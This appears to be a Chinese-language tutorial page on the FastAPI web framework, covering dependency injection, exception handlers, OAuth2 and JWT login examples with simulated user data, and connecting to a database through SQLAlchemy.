    +@app.exception_handler(RequestValidationError)  # 重写请求验证异常处理器
    +async def validation_exception_handler(request, exc):
    +    """
    +    :param request: 这个参数不能省
    +    :param exc:
    +    :return:
    +    """
    +    return PlainTextResponse(str(exc), status_code=400)
    +

    重写前HTTP异常:

    image-20220430155058089

    重写后HTTP异常:

    image-20220430155146255


    重写前请求异常:

    image-20220430155253999

    重写后请求异常:

    image-20220430155240171


    依赖注入

    "依赖注入" 是指在编程中, 为保证代码成功运行, 先导入或声明其所需要的 "依赖", 如子函数, 数据库连接等

    FastAPI 的兼容性


    创建, 导入和声明依赖

    将函数作为依赖进行注入操作(query)

    from fastapi import (
    +    Depends,    # 引入依赖
    +)
    +
    +########## Dependencies 创建、导入和声明依赖 ##########
    +
    +
    +async def common_parameters(q: Optional[str] = None, page: int = 1, limit: int = 100):
    +    """公共函数测试"""
    +    return {"q": q, "page": page, "limit": limit}
    +
    +
    +@app05.get("/dependency01")
    +async def dependency01(commons: dict = Depends(common_parameters)):
    +    """使用 Depends 进行依赖注入
    +    """
    +    return commons
    +
    +
    +@app05.get("/dependency02")
    +def dependency02(commons: dict = Depends(common_parameters)):
    +    """可以在async def中调用def依赖  
    +    也可以在def中导入async def依赖
    +    """
    +    return commons
    +

    image-20220430174337819


    类作为依赖项

    # 假设这是一个从数据库中获取的数据
    +fake_items_db = [{"item_name": "Foo"}, {"item_name": "Bar"}, {"item_name": "Baz"}]
    +
    +
    +class CommonQueryParams:
    +    def __init__(self, q: Optional[str] = None, page: int = 1, limit: int = 100):
    +        self.q = q
    +        self.page = page
    +        self.limit = limit
    +
    +
    +@app05.get("/classes_as_dependencies")
    +# async def classes_as_dependencies(commons: CommonQueryParams = Depends(CommonQueryParams)):
    +# async def classes_as_dependencies(commons: CommonQueryParams = Depends()):
    +async def classes_as_dependencies(commons=Depends(CommonQueryParams)):
    +    """
    +    使用 Depends 创建类作为依赖项
    +    """
    +    response = {}
    +    if commons.q:
    +        response.update({"q": commons.q})
    +    # 切片操作
    +    items = fake_items_db[commons.page - 1 : commons.page + commons.limit]
    +    response.update({"items": items})
    +    return response
    +
    +

    需要注意的是, 要与 Pydantic 派生类型作为参数相区分, 使用 pydantic.BaseModel 子类作为参数在函数请求体中, 而类作为依赖项进行注入作为 query 参数

    image-20220430182936870


    子依赖的创建和调用

    ########## Sub-dependencies 子依赖 ##########
    +
    +
    +def query(q: Optional[str] = None):
    +    return q
    +
    +
    +def sub_query(q: str = Depends(query), last_query: Optional[str] = None):
    +    if not q:
    +        return last_query
    +    return q
    +
    +
    +@app05.get("/sub_dependency")
    +async def sub_dependency(final_query: str = Depends(sub_query, use_cache=True)):
    +    """use_cache默认是True,
    +    表示当多个依赖有一个共同的子依赖时,
    +    每次request请求只会调用子依赖一次,
    +    多次调用将从缓存中获取
    +    """
    +    return {"sub_dependency": final_query}
    +

    query 是子依赖

    image-20220430184123474

    image-20220430184031831


    路径操作装饰器中导入依赖

    ########## Dependencies in path operation decorators 路径操作装饰器中的多依赖 ##########
    +
    +
    +async def verify_token(x_token: str = Header(...)):
    +    """
    +    没有返回值的子依赖
    +    """
    +    if x_token != "fake-super-secret-token":
    +        raise HTTPException(status_code=400, detail="X-Token header invalid")
    +
    +
    +async def verify_key(x_key: str = Header(...)):
    +    """
    +    有返回值的子依赖,但是返回值不会被调用
    +    """
    +    if x_key != "fake-super-secret-key":
    +        raise HTTPException(status_code=400, detail="X-Key header invalid")
    +    return x_key
    +
    +
    +@app05.get("/dependency_in_path_operation", 
    +        dependencies=[Depends(verify_token), Depends(verify_key)]
    +)   # 这时候不是在函数参数中调用依赖,而是在路径操作中调用依赖
    +async def dependency_in_path_operation():
    +    return [
    +        {"user": "user01"}, 
    +        {"user": "user02"}
    +    ]
    +

    可以用于校验 key 之类的, 在 Header 中包含 key, 后端路径操作装饰器中导入依赖

    image-20220430185536241


    FastAPI 框架中全局依赖的使用

    假设现在有一个子依赖需要在应用的任何地方使用(或者某个组件内部的所有地方), 那么可以使用全局依赖

    APIRouter 中使用:

    # 直接在 APIRouter 定义文件中使用:
    +app05 = APIRouter(dependencies=[Depends(verify_token), Depends(verify_key)])
    +

    main App 中使用:

    # 引入 chapter05 中的全剧依赖 verify_token 和 verify_key
    +from .chapter05 import verify_token, verify_key
    +from fastapi import (
    +    FastAPI, 
    +    Request,
    +    Depends # 引入依赖  
    +)
    +
    +# FastAPI 配置项
    +app = FastAPI(
    +    # 标题
    +    title='FastAPI Tutorial and Coronavirus Tracker API Docs',
    +    # 描述
    +    description='FastAPI教程 \\
    +        新冠病毒疫情跟踪器API接口文档, \\
    +        项目代码:https://github.com/liaogx/fastapi-tutorial',
    +    # 版本
    +    version='1.0.0',
    +    # Swagger UI 文档地址
    +    docs_url='/docs',
    +    # ReDoc 文档地址
    +    redoc_url='/redocs',
    +    dependencies = [Depends(verify_token), Depends(verify_key)]
    +)
    +

    image-20220430190445228


    使用 yield 的依赖和子依赖

    yield 关键字在依赖中的使用

    `,181),Q=n("p",null,"Python3.6需要pip install async-exit-stack async-generator",-1),j=n("div",{class:"language-python line-numbers-mode","data-ext":"py"},[n("pre",{class:"language-python"},[n("code",null,[n("span",{class:"token comment"},"########## Dependencies with yield 带yield的依赖 ##########"),s(` + + +`),n("span",{class:"token comment"},"# 这个需要Python3.7才支持,Python3.6需要pip install async-exit-stack async-generator"),s(` +`),n("span",{class:"token comment"},"# 以下都是伪代码"),s(` + +`),n("span",{class:"token keyword"},"async"),s(),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"get_db"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(` + db `),n("span",{class:"token operator"},"="),s(),n("span",{class:"token string"},'"db_connection"'),s(` + `),n("span",{class:"token keyword"},"try"),n("span",{class:"token punctuation"},":"),s(` + `),n("span",{class:"token keyword"},"yield"),s(` db + `),n("span",{class:"token keyword"},"finally"),n("span",{class:"token punctuation"},":"),s(` + db`),n("span",{class:"token punctuation"},"."),s("endswith"),n("span",{class:"token punctuation"},"("),n("span",{class:"token string"},'"db_close"'),n("span",{class:"token punctuation"},")"),s(` + + +`),n("span",{class:"token keyword"},"async"),s(),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"dependency_a"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(` + dep_a `),n("span",{class:"token operator"},"="),s(),n("span",{class:"token string"},'"generate_dep_a()"'),s(` + `),n("span",{class:"token keyword"},"try"),n("span",{class:"token punctuation"},":"),s(` + `),n("span",{class:"token keyword"},"yield"),s(` dep_a + `),n("span",{class:"token keyword"},"finally"),n("span",{class:"token punctuation"},":"),s(` + dep_a`),n("span",{class:"token punctuation"},"."),s("endswith"),n("span",{class:"token punctuation"},"("),n("span",{class:"token string"},'"db_close"'),n("span",{class:"token punctuation"},")"),s(` + + +`),n("span",{class:"token keyword"},"async"),s(),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"dependency_b"),n("span",{class:"token punctuation"},"("),s("dep_a"),n("span",{class:"token operator"},"="),s("Depends"),n("span",{class:"token punctuation"},"("),s("dependency_a"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(` + dep_b `),n("span",{class:"token operator"},"="),s(),n("span",{class:"token string"},'"generate_dep_b()"'),s(` + `),n("span",{class:"token keyword"},"try"),n("span",{class:"token punctuation"},":"),s(` + `),n("span",{class:"token keyword"},"yield"),s(` dep_b + `),n("span",{class:"token keyword"},"finally"),n("span",{class:"token punctuation"},":"),s(` + dep_b`),n("span",{class:"token punctuation"},"."),s("endswith"),n("span",{class:"token punctuation"},"("),s("dep_a"),n("span",{class:"token punctuation"},")"),s(` + + +`),n("span",{class:"token keyword"},"async"),s(),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"dependency_c"),n("span",{class:"token punctuation"},"("),s("dep_b"),n("span",{class:"token operator"},"="),s("Depends"),n("span",{class:"token punctuation"},"("),s("dependency_b"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(` + dep_c `),n("span",{class:"token operator"},"="),s(),n("span",{class:"token string"},'"generate_dep_c()"'),s(` + `),n("span",{class:"token keyword"},"try"),n("span",{class:"token punctuation"},":"),s(` + `),n("span",{class:"token keyword"},"yield"),s(` dep_c + `),n("span",{class:"token keyword"},"finally"),n("span",{class:"token punctuation"},":"),s(` + dep_c`),n("span",{class:"token punctuation"},"."),s("endswith"),n("span",{class:"token punctuation"},"("),s("dep_b"),n("span",{class:"token punctuation"},")"),s(` + +`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),M=e(`

    实际上使用最多的就是 get_db:

    # 引入数据库
    +from ..database import SessionLocal, engine
    +
    +# Dependency (关键字 yield 可用于共享连接)
    +def get_db():
    +    db = SessionLocal()
    +    try:
    +        yield db
    +    finally:
    +        db.close()
    +

    JSON Compatible Encoder

    `,4),W={href:"https://fastapi.tiangolo.com/zh/tutorial/encoder/",target:"_blank",rel:"noopener noreferrer"},z=e('

    在某些情况下我们可能需要将数据类型(比如Pydantic model)转换为 JSON 兼容的数据类型(如 dict, list 等等)

    例如, 如果我们需要将他存入数据库, FastAPI 提供了 jsonable_encoder() 函数


    使用 jsonable_encoder

    我们假设当前我们有一个只接受 JSON 兼容数据的数据库 fake_db.

    例如, 它不接受 datetime 对象, 因为这些对象与 JSON 不兼容

    所以, datetime 对象必须转化为包含 ISO 格式数据的 str

    同样, 这个数据库不会接收到 Pydantic model(带有属性的对象), 只接收 dict

    我们可以使用 jsonable_encoder , 它接收一个对象, 比如 Pydantic model, 并返回一个兼容 JSON 的版本

    ',9),G=n("div",{class:"language-python line-numbers-mode","data-ext":"py"},[n("pre",{class:"language-python"},[n("code",null,[n("span",{class:"token keyword"},"from"),s(" datetime "),n("span",{class:"token keyword"},"import"),s(` datetime +`),n("span",{class:"token keyword"},"from"),s(" typing "),n("span",{class:"token keyword"},"import"),s(` Optional + +`),n("span",{class:"token keyword"},"from"),s(" fastapi "),n("span",{class:"token keyword"},"import"),s(` FastAPI +`),n("span",{class:"token keyword"},"from"),s(" fastapi"),n("span",{class:"token punctuation"},"."),s("encoders "),n("span",{class:"token keyword"},"import"),s(` jsonable_encoder +`),n("span",{class:"token keyword"},"from"),s(" pydantic "),n("span",{class:"token keyword"},"import"),s(` BaseModel + +fake_db `),n("span",{class:"token operator"},"="),s(),n("span",{class:"token punctuation"},"{"),n("span",{class:"token punctuation"},"}"),s(` + + +`),n("span",{class:"token keyword"},"class"),s(),n("span",{class:"token class-name"},"Item"),n("span",{class:"token punctuation"},"("),s("BaseModel"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(` + title`),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),s(` + timestamp`),n("span",{class:"token punctuation"},":"),s(` datetime + description`),n("span",{class:"token punctuation"},":"),s(" Optional"),n("span",{class:"token punctuation"},"["),n("span",{class:"token builtin"},"str"),n("span",{class:"token punctuation"},"]"),s(),n("span",{class:"token operator"},"="),s(),n("span",{class:"token boolean"},"None"),s(` + + +app `),n("span",{class:"token operator"},"="),s(" FastAPI"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),s(` + + +`),n("span",{class:"token decorator annotation punctuation"},[s("@app"),n("span",{class:"token punctuation"},"."),s("put")]),n("span",{class:"token punctuation"},"("),n("span",{class:"token string"},'"/items/{id}"'),n("span",{class:"token punctuation"},")"),s(` +`),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"update_item"),n("span",{class:"token punctuation"},"("),n("span",{class:"token builtin"},"id"),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),n("span",{class:"token punctuation"},","),s(" item"),n("span",{class:"token punctuation"},":"),s(" Item"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(` + json_compatible_item_data `),n("span",{class:"token operator"},"="),s(" jsonable_encoder"),n("span",{class:"token punctuation"},"("),s("item"),n("span",{class:"token punctuation"},")"),s(` + fake_db`),n("span",{class:"token punctuation"},"["),n("span",{class:"token builtin"},"id"),n("span",{class:"token punctuation"},"]"),s(),n("span",{class:"token operator"},"="),s(` json_compatible_item_data + +`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),J=n("p",null,null,-1),K=e(`

    在这个实例中, 它将 Pydantic 模型转化为 dict, 将 datetime 转化为 str;

    调用它的结果可以用 Python 标准 json.dumps () 进行编码。

    它不返回包含 JSON 格式数据(以字符串形式)的大型 str。它返回一个 Python 标准数据结构(例如 dict) ,其值和子值都与 JSON 兼容。


    OAuth2.0 的授权模式


    密码授权模式(Resource Owner Password Credentials Grant)

    image-20220430201704453


    OAuth2 密码模式和 FastAPI 的 OAuth2PasswordBearer

    from fastapi.security import (
    +    OAuth2PasswordBearer,   # OAuth2的认证方式
    +)
    +
    +########## OAuth2 密码模式和 FastAPI 的 OAuth2PasswordBearer ##########
    +
    +"""
    +OAuth2PasswordBearer是接收URL作为参数的一个类: 
    +客户端会向该URL发送username和password参数, 然后得到一个Token值
    +OAuth2PasswordBearer并不会创建相应的URL路径操作, 
    +只是指明客户端用来请求Token的URL地址
    +当请求到来的时候, FastAPI会检查请求的Authorization头信息, 
    +如果没有找到Authorization头信息,或者头信息的内容不是Bearer token,
    +它会返回401状态码(UNAUTHORIZED)
    +"""
    +
    +# 请求Token的URL地址 http://127.0.0.1:8000/chapter06/token
    +oauth2_schema = OAuth2PasswordBearer(tokenUrl="/chapter06/token")  
    +
    +
    +@app06.get("/oauth2_password_bearer")
    +async def oauth2_password_bearer(token: str = Depends(oauth2_schema)):
    +    return {"token": token}
    +

    基于 Password 和 Bearer token 的 OAuth2 认证

    ########## 基于 Password 和 Bearer token 的 OAuth2 认证 ##########
    +
    +# 模拟数据库信息
    +fake_users_db = {
    +    "john snow": {
    +        "username": "john snow",
    +        "full_name": "John Snow",
    +        "email": "johnsnow@example.com",
    +        "hashed_password": "fakehashedsecret",
    +        "disabled": False,
    +    },
    +    "alice": {
    +        "username": "alice",
    +        "full_name": "Alice Wonderson",
    +        "email": "alice@example.com",
    +        "hashed_password": "fakehashedsecret2",
    +        "disabled": True,
    +    },
    +}
    +
    +
    +def fake_hash_password(password: str):
    +    """对密码进行加密"""
    +    return "fakehashed" + password
    +
    +
    +class User(BaseModel):
    +    """用户信息schema"""
    +    username: str
    +    email: Optional[str] = None
    +    full_name: Optional[str] = None
    +    disabled: Optional[bool] = None
    +
    +
    +class UserInDB(User):
    +    hashed_password: str
    +
    +
    +@app06.post("/token")
    +async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    +    """登录操作
    +    密码加密使用前缀字符串的形式
    +    token使用username
    +    """
    +    user_dict = fake_users_db.get(form_data.username)
    +    if not user_dict:
    +        raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail="Incorrect username or password-用户不存在")
    +    user = UserInDB(**user_dict)
    +    hashed_password = fake_hash_password(form_data.password)
    +    if not hashed_password == user.hashed_password:
    +        print(hashed_password, user.hashed_password)
    +        raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail="Incorrect username or password-密码错误")
    +    return {"access_token": user.username, "token_type": "bearer"}
    +
    +
    +def get_user(db, username: str):
    +    """获取用户信息"""
    +    if username in db:
    +        user_dict = db[username]
    +        return UserInDB(**user_dict)
    +
    +
    +def fake_decode_token(token: str):
    +    """解码token"""
    +    user = get_user(fake_users_db, token)
    +    return user
    +
    +
    +async def get_current_user(token: str = Depends(oauth2_schema)):
    +    user = fake_decode_token(token)
    +    if not user:
    +        raise HTTPException(
    +            status_code=status.HTTP_401_UNAUTHORIZED,
    +            detail="Invalid authentication credentials",
    +            # OAuth2的规范,如果认证失败,请求头中返回“WWW-Authenticate”
    +            headers={"WWW-Authenticate": "Bearer"},  
    +        )
    +    return user
    +
    +
    +async def get_current_active_user(current_user: User = Depends(get_current_user)):
    +    if current_user.disabled:
    +        raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail="Inactive user")
    +    return current_user
    +
    +
    +@app06.get("/users/me")
    +async def read_users_me(current_user: User = Depends(get_current_active_user)):
    +    """
    +    活跃用户返回用户信息  
    +    不活跃用户返回 Inactive user
    +    """
    +    return current_user
    +
    +

    login 执行逻辑:

    `,16),V=n("p",null,[n("code",null,"read_users_me"),s(" 执行逻辑:")],-1),Y=e('

    image-20220430212806528

    image-20220430212933083

    image-20220430213118220


    开发基于 JSON Web Tokens 的认证

    ',5),X={href:"https://www.bilibili.com/video/BV1iN411X72b?p=32",target:"_blank",rel:"noopener noreferrer"},Z=e(`

    image-20220430222152045

    # 先更新下模拟数据库吗修改下 hash 密码使其更接近真实值:
    +fake_users_db.update({
    +    "john snow": {
    +        "username": "john snow",
    +        "full_name": "John Snow",
    +        "email": "johnsnow@example.com",
    +        "hashed_password": "$2b$12$EixZaYVK1fsbw1ZfbX3OXePaWxn96p36WQoeG6Lruj3vjPGga31lW",
    +        "disabled": False,
    +    }
    +})
    +# 生成密钥 openssl rand -hex 32
    +SECRET_KEY = "09d25e094faa6ca2556c818166b7a9563b93f7099f6f0f4caa6cf63b88e8d3e7"  
    +# 加密算法
    +ALGORITHM = "HS256"  
    +# 访问令牌过期分钟
    +ACCESS_TOKEN_EXPIRE_MINUTES = 30  
    +
    # from datetime import (
    +#     datetime, 
    +#     timedelta
    +# )
    +# from jose import (
    +#     JWTError, 
    +#     jwt
    +# )
    +# from passlib.context import CryptContext    # 用于对用户传过来的密码进行加密
    +
    +pwd_context = CryptContext(
    +    schemes=["bcrypt"],     # 密码加密算法使用 bcrypt
    +    deprecated="auto"   
    +)
    +
    # 用于接收用户名密码, 创建 token 的接口
    +oauth2_schema = OAuth2PasswordBearer(tokenUrl="/chapter06/jwt/token")
    +
    +
    +def verity_password(plain_password: str, hashed_password: str):
    +    """对密码进行校验"""
    +    return pwd_context.verify(plain_password, hashed_password)
    +
    +
    +def jwt_get_user(db, username: str):
    +    """获取当前用户并返回解构信息
    +    """
    +    if username in db:
    +        user_dict = db[username]
    +        return UserInDB(**user_dict)
    +
    +
    +def jwt_authenticate_user(db, username: str, password: str):
    +    """
    +    验证用户是否存在以及  
    +    验证用户名和密码是否匹配
    +    """
    +    user = jwt_get_user(db=db, username=username)
    +    if not user:
    +        return False
    +    if not verity_password(plain_password=password, hashed_password=user.hashed_password):
    +        return False
    +    return user
    +
    +
    +def create_access_token(data: dict, expires_delta: Optional[timedelta] = None):
    +    """创建token  
    +    :param data: 包含用户信息的字典
    +    :param expires_delta: token 过期时间  
    +    copy 一份用户信息用户编码
    +
    +    """
    +    to_encode = data.copy()
    +    # 如果传入了过期时间就更新下过期时间: 当前时间+过期时间
    +    if expires_delta:
    +        expire = datetime.utcnow() + expires_delta
    +    else:
    +        # 没传入过期时间的话默认设置过期时间为 15 min
    +        expire = datetime.utcnow() + timedelta(minutes=15)
    +    to_encode.update({"exp": expire})
    +    # 创建编码后的 jwt
    +    encoded_jwt = jwt.encode(
    +        claims=to_encode, 
    +        key=SECRET_KEY, 
    +        algorithm=ALGORITHM
    +    )
    +    return encoded_jwt
    +
    +
    +@app06.post("/jwt/token", response_model=Token)
    +async def login_for_access_token(form_data: OAuth2PasswordRequestForm = Depends()):
    +    """创建并返回 Token  
    +    :param form_data: 表单数据
    +    """
    +    # jwt 校验
    +    user = jwt_authenticate_user(db=fake_users_db, username=form_data.username, password=form_data.password)
    +    # 认证失败则抛出异常: 用户名或密码不正确
    +    if not user:
    +        raise HTTPException(
    +            status.HTTP_401_UNAUTHORIZED,
    +            detail="Incorrect username or password",
    +            headers={"WWW-Authenticate": "Bearer"},
    +        )
    +    # 获取 token 过期时间
    +    access_token_expires = timedelta(minutes=ACCESS_TOKEN_EXPIRE_MINUTES)
    +    # 创建 token
    +    access_token = create_access_token(
    +        data={"sub": user.username}, expires_delta=access_token_expires
    +    )
    +    return {"access_token": access_token, "token_type": "bearer"}
    +
    +
    +async def jwt_get_current_user(token: str = Depends(oauth2_schema)):
    +    """获取当前用户
    +    :param token: jwt token
    +    """
    +    # 定义错误返回信息
    +    credentials_exception = HTTPException(
    +        status.HTTP_401_UNAUTHORIZED,
    +        detail="Could not validate credentials",
    +        headers={"WWW-Authenticate": "Bearer"},
    +    )
    +    try:
    +        # jwt 解码
    +        payload = jwt.decode(token=token, key=SECRET_KEY, algorithms=[ALGORITHM])
    +        # 获取解码后的用户名
    +        username = payload.get("sub")
    +        # 如果用户名不存在则抛出异常
    +        if username is None:
    +            raise credentials_exception
    +    # 如果解码失败则抛出异常
    +    except JWTError:
    +        raise credentials_exception
    +    user = jwt_get_user(db=fake_users_db, username=username)
    +    if user is None:
    +        raise credentials_exception
    +    return user
    +
    +
    +async def jwt_get_current_active_user(current_user: User = Depends(jwt_get_current_user)):
    +    """获取活跃用户"""
    +    if current_user.disabled:
    +        raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail="Inactive user")
    +    return current_user
    +
    +
    +@app06.get("/jwt/users/me")
    +async def jwt_read_users_me(current_user: User = Depends(jwt_get_current_active_user)):
    +    """获取当前用户信息"""
    +    return current_user
    +
    +

    image-20220430225118757


    SQL(Relational) Databases

    示例项目结构:

    __init__.py 是个空文件,它只是为了让 Python 识别这是一个 module。

    创建 SQLAlchemy

    `,11),$={href:"https://www.sqlalchemy.org/",target:"_blank",rel:"noopener noreferrer"},nn=e(`

    首先要装下 SQLAlchemy

    pip install sqlalchemy
    +

    编辑 database.py 文件

    引入 SQLAlchemy 库

    from sqlalchemy import create_engine
    +from sqlalchemy.ext.declarative import declarative_base
    +from sqlalchemy.orm import sessionmaker
    +

    为 SQLAlchemy 创建 database URL

    SQLALCHEMY_DATABASE_URL = "sqlite:///E:/ProgrammingLessons/Vue/vite/ViteLearningBackend/ViteLearningBackend.db"
    +# SQLALCHEMY_DATABASE_URL = "postgresql://user:password@postgresserver/db"
    +

    在本次示例中, 使用 SQLite 作为数据库, 在 E:/ProgrammingLessons/Vue/vite/ViteLearningBackend/ 目录下有一个 ViteLearningBackend.db 数据库文件, 因此 URL 最后部分是 E:/ProgrammingLessons/Vue/vite/ViteLearningBackend/ViteLearningBackend.db

    20220419093125

    如果使用 PostgreSQL 的话可以如注释这般使用

    使用其他数据库的话把 sqlite 字段相应的换成 MySQL, mariadb 等即可

    创建 SQLAlchemy engine

    engine = create_engine(
    +    SQLALCHEMY_DATABASE_URL, connect_args={"check_same_thread": False}
    +)
    +

    connect_args={"check_same_thread": False} 字段只有在使用 SQLite 时才需要

    SQLite 默认只允许一个线程通信, 假设每个线程处理一个独立的请求

    这是为了防止意外地为不同请求共享相同的 connection

    但是在 FastAPI 的函数中, 不止一个 thread 可以向 database 发起请求, 所以我们需要让 SQLIte 知道它应当通过 connect_args = {"check_same_thread": False} 允许这些 thread 向数据库发请求

    创建一个 SessionLocal 类

    SessionLocal 类的每个实例都是一个 database session, 不过该类本身并非 database session(数据库会话)

    但是一旦我们创建了一个 SessionLocal 类的示例, 那么这个实例将会成为实际的 database session

    我们将其命名为 SessionLocal 以与从 SQLAlchemy 中引入的 Session 相区分

    使用 sessionmaker 来创建一个 SessionLocal 类

    SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)
    +

    创建一个 Base 类

    使用 declarative_base 来返回一个类赋给 Base

    后面我们会继承这个类来创建每个数据库的 model 和 class(ORM models)

    Base = declarative_base()
    +

    创建 database models

    编辑 models.py

    从 Base 类创建 SQLAlchemy model

    SQLAlchemy 使用术语 "model" 来指代这些与数据库交互的 class 及 instance

    不过需要注意的是 Pydantic 也使用术语 "model" 来指代不同的东西, data validation, coversion, documentation classes 以及 instances

    database.py 引入 Base

    创建继承于 Base 类的子类

    这些子类都是 SQLAlchemy model

    from .database import Base
    +
    +class Admin(Base):
    +    __tablename__ = "admin"
    +
    +class Good(Base):
    +__tablename__ = "Good"
    +
    # 因为这里是直接在 jupyter笔记本里写的, 已经运行过代码块了直接使用 Base 即可
    +# from .database import Base
    +from tokenize import Double
    +from sqlalchemy import Boolean, Column, ForeignKey, Integer, String, FLOAT
    +from sqlalchemy.orm import relationship
    +
    +class Admin(Base):
    +    __tablename__ = "admin"
    +
    +    uid = Column(Integer, primary_key=True, index=True)
    +    password = Column(String)
    +
    +class Good(Base):
    +    __tablename__ = "Good"
    +
    +    GoodID = Column(Integer, primary_key=True, index=True)
    +    GoodName = Column(String)
    +    GoodPrice = Column(FLOAT)
    +

    __tablename__ 属性告诉 SQLAlchemy 在数据库中为每个 model 使用的表名


    创建 model attributes/columns

    创建所有 model 的 attribute

    这些 attribute 对应的表示数据库相应表中的一列

    我们使用 SQLAlchemy 中的 Column 作为默认值

    然后传递一个 SQLAlchemy 类 "type", 作为 Interger, String, 或者 Boolean, 将数据库中的字段类型定义为一个参数

    20220419103008


    创建 relationships

    个人写的示例中没有定义外键, 因为后面要加速开发原型, 所以个人示例比较简略

    因此这部分搬下官方示例

    我们使用 SQLAlchemy ORM 提供的 relationship 来创建 relationship

    这将或多或少称为一个 "magic" attribute, 他讲包含与此表关联的其他表的值

    20220419103414

    当我们从 User 中访问 items 属性时, 比如 my_user.items, 他将生成一个 Item SQLAlchemy models 列表(来自 items 表), 其中有一个外键指向 users 表中的这个记录

    当访问 my_usr.items 时, SQLAlchemy 实际上会从数据库的 items 表中查询到这些 items并填入这里

    当我们访问 Item 中的 owner 属性时, 他将包含来自 users 表的 User SQLAlchemy model; 他将使用 onwer_id attribute/column 及其外键来决定从 users 表中获取哪些记录


    创建 Pydantic model

    编辑 schemas.py

    为了避免 SQLAlchemy modelsPydantic models 之间的混淆,我们在 models.py 中创建 SQLAlchemy models, 在 shcemas.py 中创建Pydantic models

    这些 Pydantic models 或多或少地定义了一个"schema"(一个有效的 data shape)。

    因此,这将有助于我们避免在使用二者时可能产生的混淆

    创建 initial Pydantic models / schemas

    创建一个 StaffBase Pydantic model (或者说 schema) 一遍在创建和读取数据时由公共属性

    然后创建一个 StaffCreate 继承自 StaffBase

    20220425192442


    SQLAlchemy style 和 Pydantic style

    在 SQLAlchemy models 中定义属性时使用的是 =, 并将类型作为参数传给 Column, 如下:

    name = Column(String)
    +

    然而在 Pydantic models 中使用 : 声明这些类型, 如下:

    name: str
    +

    创建用于 reading / returning 的 Pydantic models / schemas

    创建 Pydantic models(schemas), 当从 API 返回数据时, 将在读取数据时使用它

    例如, 在创建一个 staff 时我们不知道他的 id 是什么, 但是当读取他(从 API 返回他) 时, 我们已经知道它的 ID

    20220425193620


    使用 Pydantic 的 orm_mode

    现在, 在 Pydantic models 中为了方便读取, 给 Staff 类添加一个内部的 Config 类

    这个 Config 类用于向 Pydantic 提供配置

    在 Config 类中, 将 orm_mode 属性设置为 True

    需要注意的是使用 = 进行赋值
    它不像前面一样使用 : 进行类型声明
    这是设置一个配置值而非声明一个类型

    Pydantic 的 orm-mode 会告诉 Pydantic model 读取数据, 即便它并非是个 dict 而是 ORM model(或者其他任何具有属性的任意对象)

    如此一来, 不再只是类似如下操作一样从 dict 中获取类型:

    id = data['id']
    +

    它也会尝试从属性中获取到 id, 如:

    id = data.id
    +

    有了这些, Pydantic model 就和 ORM 兼容了, 并且你可以只在 path 操作中的 response_model 参数中声明它

    您将能够返回一个 database model, 并从中读取数据


    关于 ORM mode 的技术细节
    `,87),sn={href:"https://fastapi.tiangolo.com/zh/tutorial/sql-databases/#technical-details-about-orm-mode",target:"_blank",rel:"noopener noreferrer"},an=e(`

    SQLAlchemy 和许多其他的默认方法是“lazy loading”。

    这意味着,例如,它们不会从数据库中获取关系数据,除非您尝试访问将包含该数据的属性。

    例如,访问 items 属性:

    current_user.items
    +

    将使 SQLAlchemy 转到 items 表并获取该用户的条目,但不是在此之前。

    如果没有 orm_mode,则如果从路径操作返回 SQLAlchemy 模型,它将不包含关系数据。

    即使你在你的 Pydantic 模型中声明了这些关系。

